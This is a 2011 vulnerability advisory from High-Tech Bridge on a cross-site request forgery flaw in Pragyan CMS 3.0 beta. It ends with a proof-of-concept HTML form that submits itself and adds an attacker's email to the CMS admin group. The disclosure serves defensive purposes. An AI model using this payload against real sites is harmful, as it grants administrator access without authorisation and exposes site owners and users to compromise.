HTB22855: XSRF (CSRF) in Pragyan CMS

[advisory () htbridge ch]

Vulnerability ID: HTB22855
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_pragyan_cms.html
Product: Pragyan CMS
Vendor: Pragyan Team ( http://sourceforge.net/projects/pragyan/ ) 
Vulnerable Version: v.3.0 beta
Vendor Notification: 17 February 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "cms/admin.lib.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based 
authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/?page=/&action=admin&subaction=editgroups&groupname=admin"; method="post" name="main">
<input type="hidden" name="txtUserEmail" value="myemail () example com+-">
<input type="hidden" name="btnAddUserToGroup" value="Add User to Group">
</form>
<script>
document.main.submit();
</script>